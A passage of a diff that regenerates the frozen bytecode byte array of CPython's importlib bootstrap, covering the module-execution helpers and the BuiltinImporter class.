-    156,1,0,116,4,106,5,106,6,124,2,131,1,124,1,107,
-    9,114,64,100,1,106,7,124,2,131,1,125,3,116,8,124,
-    3,100,2,124,2,144,1,131,1,130,1,124,0,106,9,100,
-    3,107,8,114,120,124,0,106,10,100,3,107,8,114,100,116,
-    8,100,4,100,2,124,0,106,0,144,1,131,1,130,1,116,
-    11,124,0,124,1,100,5,100,6,144,1,131,2,1,0,124,
-    1,83,0,116,11,124,0,124,1,100,5,100,6,144,1,131,
-    2,1,0,116,12,124,0,106,9,100,7,131,2,115,162,124,
-    0,106,9,106,13,124,2,131,1,1,0,110,12,124,0,106,
-    9,106,14,124,1,131,1,1,0,87,0,100,3,81,0,82,
-    0,88,0,116,4,106,5,124,2,25,0,83,0,41,8,122,
-    70,69,120,101,99,117,116,101,32,116,104,101,32,115,112,101,
-    99,39,115,32,115,112,101,99,105,102,105,101,100,32,109,111,
-    100,117,108,101,32,105,110,32,97,110,32,101,120,105,115,116,
-    105,110,103,32,109,111,100,117,108,101,39,115,32,110,97,109,
-    101,115,112,97,99,101,46,122,30,109,111,100,117,108,101,32,
-    123,33,114,125,32,110,111,116,32,105,110,32,115,121,115,46,
-    109,111,100,117,108,101,115,114,15,0,0,0,78,122,14,109,
-    105,115,115,105,110,103,32,108,111,97,100,101,114,114,129,0,
-    0,0,84,114,135,0,0,0,41,15,114,15,0,0,0,114,
-    46,0,0,0,218,12,97,99,113,117,105,114,101,95,108,111,
-    99,107,114,42,0,0,0,114,14,0,0,0,114,79,0,0,
-    0,114,30,0,0,0,114,38,0,0,0,114,70,0,0,0,
-    114,93,0,0,0,114,106,0,0,0,114,133,0,0,0,114,
-    4,0,0,0,218,11,108,111,97,100,95,109,111,100,117,108,
-    101,114,135,0,0,0,41,4,114,82,0,0,0,114,83,0,
-    0,0,114,15,0,0,0,218,3,109,115,103,114,10,0,0,
-    0,114,10,0,0,0,114,11,0,0,0,114,80,0,0,0,
-    75,2,0,0,115,32,0,0,0,0,2,6,1,8,1,10,
-    1,16,1,10,1,14,1,10,1,10,1,16,2,16,1,4,
-    1,16,1,12,4,14,2,22,1,114,80,0,0,0,99,1,
-    0,0,0,0,0,0,0,2,0,0,0,27,0,0,0,67,
-    0,0,0,115,206,0,0,0,124,0,106,0,106,1,124,0,
-    106,2,131,1,1,0,116,3,106,4,124,0,106,2,25,0,
-    125,1,116,5,124,1,100,1,100,0,131,3,100,0,107,8,
-    114,76,121,12,124,0,106,0,124,1,95,6,87,0,110,20,
-    4,0,116,7,107,10,114,74,1,0,1,0,1,0,89,0,
-    110,2,88,0,116,5,124,1,100,2,100,0,131,3,100,0,
-    107,8,114,154,121,40,124,1,106,8,124,1,95,9,116,10,
-    124,1,100,3,131,2,115,130,124,0,106,2,106,11,100,4,
-    131,1,100,5,25,0,124,1,95,9,87,0,110,20,4,0,
-    116,7,107,10,114,152,1,0,1,0,1,0,89,0,110,2,
-    88,0,116,5,124,1,100,6,100,0,131,3,100,0,107,8,
-    114,202,121,10,124,0,124,1,95,12,87,0,110,20,4,0,
-    116,7,107,10,114,200,1,0,1,0,1,0,89,0,110,2,
-    88,0,124,1,83,0,41,7,78,114,85,0,0,0,114,130,
-    0,0,0,114,127,0,0,0,114,117,0,0,0,114,19,0,
-    0,0,114,89,0,0,0,41,13,114,93,0,0,0,114,138,
-    0,0,0,114,15,0,0,0,114,14,0,0,0,114,79,0,
-    0,0,114,6,0,0,0,114,85,0,0,0,114,90,0,0,
-    0,114,1,0,0,0,114,130,0,0,0,114,4,0,0,0,
-    114,118,0,0,0,114,89,0,0,0,41,2,114,82,0,0,
-    0,114,83,0,0,0,114,10,0,0,0,114,10,0,0,0,
-    114,11,0,0,0,218,25,95,108,111,97,100,95,98,97,99,
-    107,119,97,114,100,95,99,111,109,112,97,116,105,98,108,101,
-    100,2,0,0,115,40,0,0,0,0,4,14,2,12,1,16,
-    1,2,1,12,1,14,1,6,1,16,1,2,4,8,1,10,
-    1,22,1,14,1,6,1,16,1,2,1,10,1,14,1,6,
-    1,114,140,0,0,0,99,1,0,0,0,0,0,0,0,2,
-    0,0,0,11,0,0,0,67,0,0,0,115,120,0,0,0,
-    124,0,106,0,100,0,107,9,114,30,116,1,124,0,106,0,
-    100,1,131,2,115,30,116,2,124,0,131,1,83,0,116,3,
-    124,0,131,1,125,1,116,4,124,1,131,1,143,56,1,0,
-    124,0,106,0,100,0,107,8,114,86,124,0,106,5,100,0,
-    107,8,114,98,116,6,100,2,100,3,124,0,106,7,144,1,
-    131,1,130,1,110,12,124,0,106,0,106,8,124,1,131,1,
+    0,0,218,16,109,111,100,117,108,101,95,102,114,111,109,95,
+    115,112,101,99,41,2,0,0,115,18,0,0,0,0,3,4,
+    1,12,3,14,1,12,1,8,2,8,1,10,1,10,1,114,
+    136,0,0,0,99,1,0,0,0,0,0,0,0,2,0,0,
+    0,3,0,0,0,67,0,0,0,115,110,0,0,0,124,0,
+    106,0,100,1,107,8,114,14,100,2,110,4,124,0,106,0,
+    125,1,124,0,106,1,100,1,107,8,114,68,124,0,106,2,
+    100,1,107,8,114,52,100,3,106,3,124,1,131,1,83,0,
+    113,106,100,4,106,3,124,1,124,0,106,2,131,2,83,0,
+    110,38,124,0,106,4,114,90,100,5,106,3,124,1,124,0,
+    106,1,131,2,83,0,110,16,100,6,106,3,124,0,106,0,
+    124,0,106,1,131,2,83,0,100,1,83,0,41,7,122,38,
+    82,101,116,117,114,110,32,116,104,101,32,114,101,112,114,32,
+    116,111,32,117,115,101,32,102,111,114,32,116,104,101,32,109,
+    111,100,117,108,101,46,78,114,87,0,0,0,122,13,60,109,
+    111,100,117,108,101,32,123,33,114,125,62,122,20,60,109,111,
+    100,117,108,101,32,123,33,114,125,32,40,123,33,114,125,41,
+    62,122,23,60,109,111,100,117,108,101,32,123,33,114,125,32,
+    102,114,111,109,32,123,33,114,125,62,122,18,60,109,111,100,
+    117,108,101,32,123,33,114,125,32,40,123,125,41,62,41,5,
+    114,15,0,0,0,114,103,0,0,0,114,93,0,0,0,114,
+    38,0,0,0,114,113,0,0,0,41,2,114,82,0,0,0,
+    114,15,0,0,0,114,10,0,0,0,114,10,0,0,0,114,
+    11,0,0,0,114,91,0,0,0,58,2,0,0,115,16,0,
+    0,0,0,3,20,1,10,1,10,1,12,2,16,2,6,1,
+    16,2,114,91,0,0,0,99,2,0,0,0,0,0,0,0,
+    4,0,0,0,12,0,0,0,67,0,0,0,115,186,0,0,
+    0,124,0,106,0,125,2,116,1,106,2,131,0,1,0,116,
+    3,124,2,131,1,143,148,1,0,116,4,106,5,106,6,124,
+    2,131,1,124,1,107,9,114,62,100,1,106,7,124,2,131,
+    1,125,3,116,8,124,3,124,2,100,2,141,2,130,1,124,
+    0,106,9,100,3,107,8,114,114,124,0,106,10,100,3,107,
+    8,114,96,116,8,100,4,124,0,106,0,100,2,141,2,130,
+    1,116,11,124,0,124,1,100,5,100,6,141,3,1,0,124,
+    1,83,0,116,11,124,0,124,1,100,5,100,6,141,3,1,
+    0,116,12,124,0,106,9,100,7,131,2,115,154,124,0,106,
+    9,106,13,124,2,131,1,1,0,110,12,124,0,106,9,106,
+    14,124,1,131,1,1,0,87,0,100,3,81,0,82,0,88,
+    0,116,4,106,5,124,2,25,0,83,0,41,8,122,70,69,
+    120,101,99,117,116,101,32,116,104,101,32,115,112,101,99,39,
+    115,32,115,112,101,99,105,102,105,101,100,32,109,111,100,117,
+    108,101,32,105,110,32,97,110,32,101,120,105,115,116,105,110,
+    103,32,109,111,100,117,108,101,39,115,32,110,97,109,101,115,
+    112,97,99,101,46,122,30,109,111,100,117,108,101,32,123,33,
+    114,125,32,110,111,116,32,105,110,32,115,121,115,46,109,111,
+    100,117,108,101,115,41,1,114,15,0,0,0,78,122,14,109,
+    105,115,115,105,110,103,32,108,111,97,100,101,114,84,41,1,
+    114,129,0,0,0,114,135,0,0,0,41,15,114,15,0,0,
+    0,114,46,0,0,0,218,12,97,99,113,117,105,114,101,95,
+    108,111,99,107,114,42,0,0,0,114,14,0,0,0,114,79,
+    0,0,0,114,30,0,0,0,114,38,0,0,0,114,70,0,
+    0,0,114,93,0,0,0,114,106,0,0,0,114,133,0,0,
+    0,114,4,0,0,0,218,11,108,111,97,100,95,109,111,100,
+    117,108,101,114,135,0,0,0,41,4,114,82,0,0,0,114,
+    83,0,0,0,114,15,0,0,0,218,3,109,115,103,114,10,
+    0,0,0,114,10,0,0,0,114,11,0,0,0,114,80,0,
+    0,0,75,2,0,0,115,32,0,0,0,0,2,6,1,8,
+    1,10,1,16,1,10,1,12,1,10,1,10,1,14,2,14,
+    1,4,1,14,1,12,4,14,2,22,1,114,80,0,0,0,
+    99,1,0,0,0,0,0,0,0,2,0,0,0,27,0,0,
+    0,67,0,0,0,115,206,0,0,0,124,0,106,0,106,1,
+    124,0,106,2,131,1,1,0,116,3,106,4,124,0,106,2,
+    25,0,125,1,116,5,124,1,100,1,100,0,131,3,100,0,
+    107,8,114,76,121,12,124,0,106,0,124,1,95,6,87,0,
+    110,20,4,0,116,7,107,10,114,74,1,0,1,0,1,0,
+    89,0,110,2,88,0,116,5,124,1,100,2,100,0,131,3,
+    100,0,107,8,114,154,121,40,124,1,106,8,124,1,95,9,
+    116,10,124,1,100,3,131,2,115,130,124,0,106,2,106,11,
+    100,4,131,1,100,5,25,0,124,1,95,9,87,0,110,20,
+    4,0,116,7,107,10,114,152,1,0,1,0,1,0,89,0,
+    110,2,88,0,116,5,124,1,100,6,100,0,131,3,100,0,
+    107,8,114,202,121,10,124,0,124,1,95,12,87,0,110,20,
+    4,0,116,7,107,10,114,200,1,0,1,0,1,0,89,0,
+    110,2,88,0,124,1,83,0,41,7,78,114,85,0,0,0,
+    114,130,0,0,0,114,127,0,0,0,114,117,0,0,0,114,
+    19,0,0,0,114,89,0,0,0,41,13,114,93,0,0,0,
+    114,138,0,0,0,114,15,0,0,0,114,14,0,0,0,114,
+    79,0,0,0,114,6,0,0,0,114,85,0,0,0,114,90,
+    0,0,0,114,1,0,0,0,114,130,0,0,0,114,4,0,
+    0,0,114,118,0,0,0,114,89,0,0,0,41,2,114,82,
+    0,0,0,114,83,0,0,0,114,10,0,0,0,114,10,0,
+    0,0,114,11,0,0,0,218,25,95,108,111,97,100,95,98,
+    97,99,107,119,97,114,100,95,99,111,109,112,97,116,105,98,
+    108,101,100,2,0,0,115,40,0,0,0,0,4,14,2,12,
+    1,16,1,2,1,12,1,14,1,6,1,16,1,2,4,8,
+    1,10,1,22,1,14,1,6,1,16,1,2,1,10,1,14,
+    1,6,1,114,140,0,0,0,99,1,0,0,0,0,0,0,
+    0,2,0,0,0,11,0,0,0,67,0,0,0,115,118,0,
+    0,0,124,0,106,0,100,0,107,9,114,30,116,1,124,0,
+    106,0,100,1,131,2,115,30,116,2,124,0,131,1,83,0,
+    116,3,124,0,131,1,125,1,116,4,124,1,131,1,143,54,
+    1,0,124,0,106,0,100,0,107,8,114,84,124,0,106,5,
+    100,0,107,8,114,96,116,6,100,2,124,0,106,7,100,3,
+    141,2,130,1,110,12,124,0,106,0,106,8,124,1,131,1,
     1,0,87,0,100,0,81,0,82,0,88,0,116,9,106,10,
     124,0,106,7,25,0,83,0,41,4,78,114,135,0,0,0,
     122,14,109,105,115,115,105,110,103,32,108,111,97,100,101,114,
-    114,15,0,0,0,41,11,114,93,0,0,0,114,4,0,0,
-    0,114,140,0,0,0,114,136,0,0,0,114,96,0,0,0,
-    114,106,0,0,0,114,70,0,0,0,114,15,0,0,0,114,
-    135,0,0,0,114,14,0,0,0,114,79,0,0,0,41,2,
-    114,82,0,0,0,114,83,0,0,0,114,10,0,0,0,114,
-    10,0,0,0,114,11,0,0,0,218,14,95,108,111,97,100,
-    95,117,110,108,111,99,107,101,100,129,2,0,0,115,20,0,
-    0,0,0,2,10,2,12,1,8,2,8,1,10,1,10,1,
-    10,1,18,3,22,5,114,141,0,0,0,99,1,0,0,0,
-    0,0,0,0,1,0,0,0,9,0,0,0,67,0,0,0,
-    115,38,0,0,0,116,0,106,1,131,0,1,0,116,2,124,
-    0,106,3,131,1,143,10,1,0,116,4,124,0,131,1,83,
-    0,81,0,82,0,88,0,100,1,83,0,41,2,122,191,82,
-    101,116,117,114,110,32,97,32,110,101,119,32,109,111,100,117,
-    108,101,32,111,98,106,101,99,116,44,32,108,111,97,100,101,
-    100,32,98,121,32,116,104,101,32,115,112,101,99,39,115,32,
-    108,111,97,100,101,114,46,10,10,32,32,32,32,84,104,101,
-    32,109,111,100,117,108,101,32,105,115,32,110,111,116,32,97,
-    100,100,101,100,32,116,111,32,105,116,115,32,112,97,114,101,
-    110,116,46,10,10,32,32,32,32,73,102,32,97,32,109,111,
-    100,117,108,101,32,105,115,32,97,108,114,101,97,100,121,32,
-    105,110,32,115,121,115,46,109,111,100,117,108,101,115,44,32,
-    116,104,97,116,32,101,120,105,115,116,105,110,103,32,109,111,
-    100,117,108,101,32,103,101,116,115,10,32,32,32,32,99,108,
-    111,98,98,101,114,101,100,46,10,10,32,32,32,32,78,41,
-    5,114,46,0,0,0,114,137,0,0,0,114,42,0,0,0,
-    114,15,0,0,0,114,141,0,0,0,41,1,114,82,0,0,
-    0,114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,
-    114,81,0,0,0,152,2,0,0,115,6,0,0,0,0,9,
-    8,1,12,1,114,81,0,0,0,99,0,0,0,0,0,0,
-    0,0,0,0,0,0,4,0,0,0,64,0,0,0,115,136,
-    0,0,0,101,0,90,1,100,0,90,2,100,1,90,3,101,
-    4,100,2,100,3,132,0,131,1,90,5,101,6,100,19,100,
-    5,100,6,132,1,131,1,90,7,101,6,100,20,100,7,100,
-    8,132,1,131,1,90,8,101,6,100,9,100,10,132,0,131,
-    1,90,9,101,6,100,11,100,12,132,0,131,1,90,10,101,
-    6,101,11,100,13,100,14,132,0,131,1,131,1,90,12,101,
-    6,101,11,100,15,100,16,132,0,131,1,131,1,90,13,101,
-    6,101,11,100,17,100,18,132,0,131,1,131,1,90,14,101,
-    6,101,15,131,1,90,16,100,4,83,0,41,21,218,15,66,
-    117,105,108,116,105,110,73,109,112,111,114,116,101,114,122,144,
-    77,101,116,97,32,112,97,116,104,32,105,109,112,111,114,116,
-    32,102,111,114,32,98,117,105,108,116,45,105,110,32,109,111,
-    100,117,108,101,115,46,10,10,32,32,32,32,65,108,108,32,
-    109,101,116,104,111,100,115,32,97,114,101,32,101,105,116,104,
-    101,114,32,99,108,97,115,115,32,111,114,32,115,116,97,116,
-    105,99,32,109,101,116,104,111,100,115,32,116,111,32,97,118,
-    111,105,100,32,116,104,101,32,110,101,101,100,32,116,111,10,
-    32,32,32,32,105,110,115,116,97,110,116,105,97,116,101,32,
-    116,104,101,32,99,108,97,115,115,46,10,10,32,32,32,32,
-    99,1,0,0,0,0,0,0,0,1,0,0,0,2,0,0,
-    0,67,0,0,0,115,12,0,0,0,100,1,106,0,124,0,
-    106,1,131,1,83,0,41,2,122,115,82,101,116,117,114,110,
-    32,114,101,112,114,32,102,111,114,32,116,104,101,32,109,111,
-    100,117,108,101,46,10,10,32,32,32,32,32,32,32,32,84,
-    104,101,32,109,101,116,104,111,100,32,105,115,32,100,101,112,
-    114,101,99,97,116,101,100,46,32,32,84,104,101,32,105,109,
-    112,111,114,116,32,109,97,99,104,105,110,101,114,121,32,100,
-    111,101,115,32,116,104,101,32,106,111,98,32,105,116,115,101,
-    108,102,46,10,10,32,32,32,32,32,32,32,32,122,24,60,
-    109,111,100,117,108,101,32,123,33,114,125,32,40,98,117,105,
-    108,116,45,105,110,41,62,41,2,114,38,0,0,0,114,1,
-    0,0,0,41,1,114,83,0,0,0,114,10,0,0,0,114,
-    10,0,0,0,114,11,0,0,0,114,86,0,0,0,177,2,
-    0,0,115,2,0,0,0,0,7,122,27,66,117,105,108,116,
-    105,110,73,109,112,111,114,116,101,114,46,109,111,100,117,108,
-    101,95,114,101,112,114,78,99,4,0,0,0,0,0,0,0,
-    4,0,0,0,5,0,0,0,67,0,0,0,115,48,0,0,
-    0,124,2,100,0,107,9,114,12,100,0,83,0,116,0,106,
-    1,124,1,131,1,114,40,116,2,124,1,124,0,100,1,100,
-    2,144,1,131,2,83,0,110,4,100,0,83,0,100,0,83,
-    0,41,3,78,114,103,0,0,0,122,8,98,117,105,108,116,
-    45,105,110,41,3,114,46,0,0,0,90,10,105,115,95,98,
-    117,105,108,116,105,110,114,78,0,0,0,41,4,218,3,99,
-    108,115,114,71,0,0,0,218,4,112,97,116,104,218,6,116,
-    97,114,103,101,116,114,10,0,0,0,114,10,0,0,0,114,
-    11,0,0,0,218,9,102,105,110,100,95,115,112,101,99,186,
-    2,0,0,115,10,0,0,0,0,2,8,1,4,1,10,1,
-    18,2,122,25,66,117,105,108,116,105,110,73,109,112,111,114,
-    116,101,114,46,102,105,110,100,95,115,112,101,99,99,3,0,
-    0,0,0,0,0,0,4,0,0,0,3,0,0,0,67,0,
-    0,0,115,30,0,0,0,124,0,106,0,124,1,124,2,131,
-    2,125,3,124,3,100,1,107,9,114,26,124,3,106,1,83,
-    0,100,1,83,0,41,2,122,175,70,105,110,100,32,116,104,
-    101,32,98,117,105,108,116,45,105,110,32,109,111,100,117,108,
-    101,46,10,10,32,32,32,32,32,32,32,32,73,102,32,39,
-    112,97,116,104,39,32,105,115,32,101,118,101,114,32,115,112,
-    101,99,105,102,105,101,100,32,116,104,101,110,32,116,104,101,
-    32,115,101,97,114,99,104,32,105,115,32,99,111,110,115,105,
-    100,101,114,101,100,32,97,32,102,97,105,108,117,114,101,46,
-    10,10,32,32,32,32,32,32,32,32,84,104,105,115,32,109,
-    101,116,104,111,100,32,105,115,32,100,101,112,114,101,99,97,
-    116,101,100,46,32,32,85,115,101,32,102,105,110,100,95,115,
-    112,101,99,40,41,32,105,110,115,116,101,97,100,46,10,10,
-    32,32,32,32,32,32,32,32,78,41,2,114,146,0,0,0,
-    114,93,0,0,0,41,4,114,143,0,0,0,114,71,0,0,
-    0,114,144,0,0,0,114,82,0,0,0,114,10,0,0,0,
-    114,10,0,0,0,114,11,0,0,0,218,11,102,105,110,100,
-    95,109,111,100,117,108,101,195,2,0,0,115,4,0,0,0,
-    0,9,12,1,122,27,66,117,105,108,116,105,110,73,109,112,
-    111,114,116,101,114,46,102,105,110,100,95,109,111,100,117,108,
-    101,99,2,0,0,0,0,0,0,0,2,0,0,0,4,0,
-    0,0,67,0,0,0,115,48,0,0,0,124,1,106,0,116,
-    1,106,2,107,7,114,36,116,3,100,1,106,4,124,1,106,
-    0,131,1,100,2,124,1,106,0,144,1,131,1,130,1,116,
+    41,1,114,15,0,0,0,41,11,114,93,0,0,0,114,4,
+    0,0,0,114,140,0,0,0,114,136,0,0,0,114,96,0,
+    0,0,114,106,0,0,0,114,70,0,0,0,114,15,0,0,
+    0,114,135,0,0,0,114,14,0,0,0,114,79,0,0,0,
+    41,2,114,82,0,0,0,114,83,0,0,0,114,10,0,0,
+    0,114,10,0,0,0,114,11,0,0,0,218,14,95,108,111,
+    97,100,95,117,110,108,111,99,107,101,100,129,2,0,0,115,
+    20,0,0,0,0,2,10,2,12,1,8,2,8,1,10,1,
+    10,1,10,1,16,3,22,5,114,141,0,0,0,99,1,0,
+    0,0,0,0,0,0,1,0,0,0,9,0,0,0,67,0,
+    0,0,115,38,0,0,0,116,0,106,1,131,0,1,0,116,
+    2,124,0,106,3,131,1,143,10,1,0,116,4,124,0,131,
+    1,83,0,81,0,82,0,88,0,100,1,83,0,41,2,122,
+    191,82,101,116,117,114,110,32,97,32,110,101,119,32,109,111,
+    100,117,108,101,32,111,98,106,101,99,116,44,32,108,111,97,
+    100,101,100,32,98,121,32,116,104,101,32,115,112,101,99,39,
+    115,32,108,111,97,100,101,114,46,10,10,32,32,32,32,84,
+    104,101,32,109,111,100,117,108,101,32,105,115,32,110,111,116,
+    32,97,100,100,101,100,32,116,111,32,105,116,115,32,112,97,
+    114,101,110,116,46,10,10,32,32,32,32,73,102,32,97,32,
+    109,111,100,117,108,101,32,105,115,32,97,108,114,101,97,100,
+    121,32,105,110,32,115,121,115,46,109,111,100,117,108,101,115,
+    44,32,116,104,97,116,32,101,120,105,115,116,105,110,103,32,
+    109,111,100,117,108,101,32,103,101,116,115,10,32,32,32,32,
+    99,108,111,98,98,101,114,101,100,46,10,10,32,32,32,32,
+    78,41,5,114,46,0,0,0,114,137,0,0,0,114,42,0,
+    0,0,114,15,0,0,0,114,141,0,0,0,41,1,114,82,
+    0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,0,
+    0,0,114,81,0,0,0,152,2,0,0,115,6,0,0,0,
+    0,9,8,1,12,1,114,81,0,0,0,99,0,0,0,0,
+    0,0,0,0,0,0,0,0,4,0,0,0,64,0,0,0,
+    115,136,0,0,0,101,0,90,1,100,0,90,2,100,1,90,
+    3,101,4,100,2,100,3,132,0,131,1,90,5,101,6,100,
+    19,100,5,100,6,132,1,131,1,90,7,101,6,100,20,100,
+    7,100,8,132,1,131,1,90,8,101,6,100,9,100,10,132,
+    0,131,1,90,9,101,6,100,11,100,12,132,0,131,1,90,
+    10,101,6,101,11,100,13,100,14,132,0,131,1,131,1,90,
+    12,101,6,101,11,100,15,100,16,132,0,131,1,131,1,90,
+    13,101,6,101,11,100,17,100,18,132,0,131,1,131,1,90,
+    14,101,6,101,15,131,1,90,16,100,4,83,0,41,21,218,
+    15,66,117,105,108,116,105,110,73,109,112,111,114,116,101,114,
+    122,144,77,101,116,97,32,112,97,116,104,32,105,109,112,111,
+    114,116,32,102,111,114,32,98,117,105,108,116,45,105,110,32,
+    109,111,100,117,108,101,115,46,10,10,32,32,32,32,65,108,
+    108,32,109,101,116,104,111,100,115,32,97,114,101,32,101,105,
+    116,104,101,114,32,99,108,97,115,115,32,111,114,32,115,116,
+    97,116,105,99,32,109,101,116,104,111,100,115,32,116,111,32,
+    97,118,111,105,100,32,116,104,101,32,110,101,101,100,32,116,
+    111,10,32,32,32,32,105,110,115,116,97,110,116,105,97,116,
+    101,32,116,104,101,32,99,108,97,115,115,46,10,10,32,32,
+    32,32,99,1,0,0,0,0,0,0,0,1,0,0,0,2,
+    0,0,0,67,0,0,0,115,12,0,0,0,100,1,106,0,
+    124,0,106,1,131,1,83,0,41,2,122,115,82,101,116,117,
+    114,110,32,114,101,112,114,32,102,111,114,32,116,104,101,32,
+    109,111,100,117,108,101,46,10,10,32,32,32,32,32,32,32,
+    32,84,104,101,32,109,101,116,104,111,100,32,105,115,32,100,
+    101,112,114,101,99,97,116,101,100,46,32,32,84,104,101,32,
+    105,109,112,111,114,116,32,109,97,99,104,105,110,101,114,121,
+    32,100,111,101,115,32,116,104,101,32,106,111,98,32,105,116,
+    115,101,108,102,46,10,10,32,32,32,32,32,32,32,32,122,
+    24,60,109,111,100,117,108,101,32,123,33,114,125,32,40,98,
+    117,105,108,116,45,105,110,41,62,41,2,114,38,0,0,0,
+    114,1,0,0,0,41,1,114,83,0,0,0,114,10,0,0,
+    0,114,10,0,0,0,114,11,0,0,0,114,86,0,0,0,
+    177,2,0,0,115,2,0,0,0,0,7,122,27,66,117,105,
+    108,116,105,110,73,109,112,111,114,116,101,114,46,109,111,100,
+    117,108,101,95,114,101,112,114,78,99,4,0,0,0,0,0,
+    0,0,4,0,0,0,5,0,0,0,67,0,0,0,115,46,
+    0,0,0,124,2,100,0,107,9,114,12,100,0,83,0,116,
+    0,106,1,124,1,131,1,114,38,116,2,124,1,124,0,100,
+    1,100,2,141,3,83,0,110,4,100,0,83,0,100,0,83,
+    0,41,3,78,122,8,98,117,105,108,116,45,105,110,41,1,
+    114,103,0,0,0,41,3,114,46,0,0,0,90,10,105,115,
+    95,98,117,105,108,116,105,110,114,78,0,0,0,41,4,218,
+    3,99,108,115,114,71,0,0,0,218,4,112,97,116,104,218,
+    6,116,97,114,103,101,116,114,10,0,0,0,114,10,0,0,
+    0,114,11,0,0,0,218,9,102,105,110,100,95,115,112,101,
+    99,186,2,0,0,115,10,0,0,0,0,2,8,1,4,1,
+    10,1,16,2,122,25,66,117,105,108,116,105,110,73,109,112,
+    111,114,116,101,114,46,102,105,110,100,95,115,112,101,99,99,
+    3,0,0,0,0,0,0,0,4,0,0,0,3,0,0,0,
+    67,0,0,0,115,30,0,0,0,124,0,106,0,124,1,124,
+    2,131,2,125,3,124,3,100,1,107,9,114,26,124,3,106,
+    1,83,0,100,1,83,0,41,2,122,175,70,105,110,100,32,
+    116,104,101,32,98,117,105,108,116,45,105,110,32,109,111,100,
+    117,108,101,46,10,10,32,32,32,32,32,32,32,32,73,102,
+    32,39,112,97,116,104,39,32,105,115,32,101,118,101,114,32,
+    115,112,101,99,105,102,105,101,100,32,116,104,101,110,32,116,
+    104,101,32,115,101,97,114,99,104,32,105,115,32,99,111,110,
+    115,105,100,101,114,101,100,32,97,32,102,97,105,108,117,114,
+    101,46,10,10,32,32,32,32,32,32,32,32,84,104,105,115,
+    32,109,101,116,104,111,100,32,105,115,32,100,101,112,114,101,
+    99,97,116,101,100,46,32,32,85,115,101,32,102,105,110,100,
+    95,115,112,101,99,40,41,32,105,110,115,116,101,97,100,46,
+    10,10,32,32,32,32,32,32,32,32,78,41,2,114,146,0,
+    0,0,114,93,0,0,0,41,4,114,143,0,0,0,114,71,
+    0,0,0,114,144,0,0,0,114,82,0,0,0,114,10,0,
+    0,0,114,10,0,0,0,114,11,0,0,0,218,11,102,105,
+    110,100,95,109,111,100,117,108,101,195,2,0,0,115,4,0,
+    0,0,0,9,12,1,122,27,66,117,105,108,116,105,110,73,
+    109,112,111,114,116,101,114,46,102,105,110,100,95,109,111,100,
+    117,108,101,99,2,0,0,0,0,0,0,0,2,0,0,0,
+    4,0,0,0,67,0,0,0,115,46,0,0,0,124,1,106,
+    0,116,1,106,2,107,7,114,34,116,3,100,1,106,4,124,
+    1,106,0,131,1,124,1,106,0,100,2,141,2,130,1,116,
     5,116,6,106,7,124,1,131,2,83,0,41,3,122,24,67,
     114,101,97,116,101,32,97,32,98,117,105,108,116,45,105,110,
     32,109,111,100,117,108,101,122,29,123,33,114,125,32,105,115,
     32,110,111,116,32,97,32,98,117,105,108,116,45,105,110,32,
-    109,111,100,117,108,101,114,15,0,0,0,41,8,114,15,0,
-    0,0,114,14,0,0,0,114,69,0,0,0,114,70,0,0,
-    0,114,38,0,0,0,114,58,0,0,0,114,46,0,0,0,
-    90,14,99,114,101,97,116,101,95,98,117,105,108,116,105,110,
-    41,2,114,26,0,0,0,114,82,0,0,0,114,10,0,0,
-    0,114,10,0,0,0,114,11,0,0,0,114,134,0,0,0,
-    207,2,0,0,115,8,0,0,0,0,3,12,1,14,1,10,
-    1,122,29,66,117,105,108,116,105,110,73,109,112,111,114,116,
-    101,114,46,99,114,101,97,116,101,95,109,111,100,117,108,101,
-    99,2,0,0,0,0,0,0,0,2,0,0,0,3,0,0,
-    0,67,0,0,0,115,16,0,0,0,116,0,116,1,106,2,
-    124,1,131,2,1,0,100,1,83,0,41,2,122,22,69,120,
-    101,99,32,97,32,98,117,105,108,116,45,105,110,32,109,111,
-    100,117,108,101,78,41,3,114,58,0,0,0,114,46,0,0,
-    0,90,12,101,120,101,99,95,98,117,105,108,116,105,110,41,
-    2,114,26,0,0,0,114,83,0,0,0,114,10,0,0,0,
-    114,10,0,0,0,114,11,0,0,0,114,135,0,0,0,215,
-    2,0,0,115,2,0,0,0,0,3,122,27,66,117,105,108,
-    116,105,110,73,109,112,111,114,116,101,114,46,101,120,101,99,
-    95,109,111,100,117,108,101,99,2,0,0,0,0,0,0,0,
-    2,0,0,0,1,0,0,0,67,0,0,0,115,4,0,0,
-    0,100,1,83,0,41,2,122,57,82,101,116,117,114,110,32,
-    78,111,110,101,32,97,115,32,98,117,105,108,116,45,105,110,
-    32,109,111,100,117,108,101,115,32,100,111,32,110,111,116,32,
-    104,97,118,101,32,99,111,100,101,32,111,98,106,101,99,116,
-    115,46,78,114,10,0,0,0,41,2,114,143,0,0,0,114,
-    71,0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,
-    0,0,0,218,8,103,101,116,95,99,111,100,101,220,2,0,
-    0,115,2,0,0,0,0,4,122,24,66,117,105,108,116,105,
-    110,73,109,112,111,114,116,101,114,46,103,101,116,95,99,111,
-    100,101,99,2,0,0,0,0,0,0,0,2,0,0,0,1,
+    109,111,100,117,108,101,41,1,114,15,0,0,0,41,8,114,
+    15,0,0,0,114,14,0,0,0,114,69,0,0,0,114,70,
+    0,0,0,114,38,0,0,0,114,58,0,0,0,114,46,0,
+    0,0,90,14,99,114,101,97,116,101,95,98,117,105,108,116,
+    105,110,41,2,114,26,0,0,0,114,82,0,0,0,114,10,
+    0,0,0,114,10,0,0,0,114,11,0,0,0,114,134,0,
+    0,0,207,2,0,0,115,8,0,0,0,0,3,12,1,12,
+    1,10,1,122,29,66,117,105,108,116,105,110,73,109,112,111,
+    114,116,101,114,46,99,114,101,97,116,101,95,109,111,100,117,
+    108,101,99,2,0,0,0,0,0,0,0,2,0,0,0,3,
+    0,0,0,67,0,0,0,115,16,0,0,0,116,0,116,1,
+    106,2,124,1,131,2,1,0,100,1,83,0,41,2,122,22,
+    69,120,101,99,32,97,32,98,117,105,108,116,45,105,110,32,
+    109,111,100,117,108,101,78,41,3,114,58,0,0,0,114,46,
+    0,0,0,90,12,101,120,101,99,95,98,117,105,108,116,105,
+    110,41,2,114,26,0,0,0,114,83,0,0,0,114,10,0,
+    0,0,114,10,0,0,0,114,11,0,0,0,114,135,0,0,
+    0,215,2,0,0,115,2,0,0,0,0,3,122,27,66,117,
+    105,108,116,105,110,73,109,112,111,114,116,101,114,46,101,120,
+    101,99,95,109,111,100,117,108,101,99,2,0,0,0,0,0,
